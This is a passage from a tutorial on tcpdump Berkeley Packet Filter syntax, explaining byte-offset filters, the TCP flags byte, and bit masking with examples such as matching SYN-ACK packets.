BPF, however, has built in primitives, or keywords that apply filters, including "src" or source and "port". So if we wanted to see these packets, the easier way would be to use 'src port 37'.
Other fields have no primitive equivalent. If we needed to see all packets with a TTL greater than 64, we would specify that with a filter like this: 'ip[8:2] > 64'. We're telling tcpdump we want to start at the 8th byte offset from 0 and evaluate two bytes and show any packets that have a value in that field greater than 64.
With your protocol header charts in front of you, you can create a filter to show you any byte in any header and check it against whatever value you need.
By the way, if you're capturing packets for monitoring or auditing purposes, it's usually best to use the largest snaplength (size of each packet) that your storage space and processing power allows, and then use your filters to pull out the packets you need later.

BPF's and Bit Masking

BPF's (Berkeley Packet Filters) allow you filter down to the bit, not just the byte, of a protocol header. There a number of fields that might require you to do this, most notably, the TCP or IP flags fields.

The TCP flags indicate what type of packet it is. They are:

SYN - synchronize or begin the connection. SYN packets are only used during the initial three way TCP handshake.
ACK - acknowledgement that a packet was received
FIN - finish the connection gracefully with both sides shutting it down in an ordered manner.
RST - reset tears down the connection with no further exchange of packets, usually used when a host denies an attempted connection or a the client is terminated abruptly, like closing a web browser.
PSH - the push flag indicates to the other connection that it should process this data as soon as possible  instead of queuing it in the TCP buffer
URG - the urget flag is used to process data that must be processed immediately (such as a character in a telnet session) and uses a pointer to indicate the last byte of urgent data.

These fields are located in the TCP header at the thirteenth byte offset from zero (protocol fields start at 0, not 1). Proceeding them in this byte (highest order bits, or left-most since networking is big endian) are two flags used for differentiated services, or what used to be known as ToS (type of service). They aren't related, just know they are there as it will matter when we construct a BPF.

So our bits are laid out like this:

C E U A      P R S F

In the first nibble (4 bits) we have the two differentiated services flags, then the urgent flag and finally the acknowledgement flag.

In the second nibble we have the push flag, the reset flag, the syn flag and end with the fin flag.

So if we need to see only one type of packets to do our analysis, we need to employ bit masking to narrow our BPF down to that bit or bits. The way we do this is to write out the entire byte and mask out the bits we don't want to see and retain the bits we do. To do this, we apply a zero to bits we want to filter and a one to bits we wish to retain. For example, to see only SYN-ACK packets:

C     E     U     A     P     R     S    F
 0     0     0      1     0      0     1    0

We have zeroed out all the bits except the ones corresponding to the ACK and SYN flag. The ACK flag is the least most significant bit in the first nibble (4 bits make a nibble and two nibbles make a byte) and the SYN flag is at the second least significant bit in the second nibble.
This would give us a binary mask of 0001 0010. Convert that to hex and we have 0x12. To apply this as a BPF filter, we do a bitwise AND  operation on the byte. Any 1 ANDed with another 1 equals one, and a 1 with a 0, OR if both are 0, equals zero.

We use the "&" operator to do the bitwise operation. In BPF filters, the byte number is appended in square brackets to the protocol header we're working with. So in this case, we're working with the TCP header and byte 13. So the first part of our filter is tcp[13].

Now we add the bit shifting. So the second part of our filter is: "& 0x12". And finally, we tell it what value to compare the result to. Since we are checking for SYN-ACK packets, we want the entire byte to equal 0x12, which would be the value if only the SYN and ACK flags were set. So our entire filter would be:

'tcp[13] & 0x12 = 18' or we could write it 'tcp[13] & 0x12 = 0x12' since 12 in hex equals 18 in decimal. Either way would work.

You should always put your BPF in single quotes (on Linux boxes) or double quotes using WinDump, as a good practice. Your BPF may not be complex enough to need it every time, but if you always do it, it won't bite you when you have a compound filter that requires it.

Using this method, we can now specify any bit or bits in any byte in any header. Very powerful tool.

If you're new to packet analysis, you may need to learn or do a refresher on hex and binary, and look at bitwise operations, but that, with a copy of your protocol header charts, is really all you need to accomplish this.

You can span multiple bytes, chain multiple filters together, mix primitives (built in filters, like tcp) and complex filters, and get as specific as you need. And you can save your very exotic filters into a file and have tcpdump read them in from the command line with the -F switch.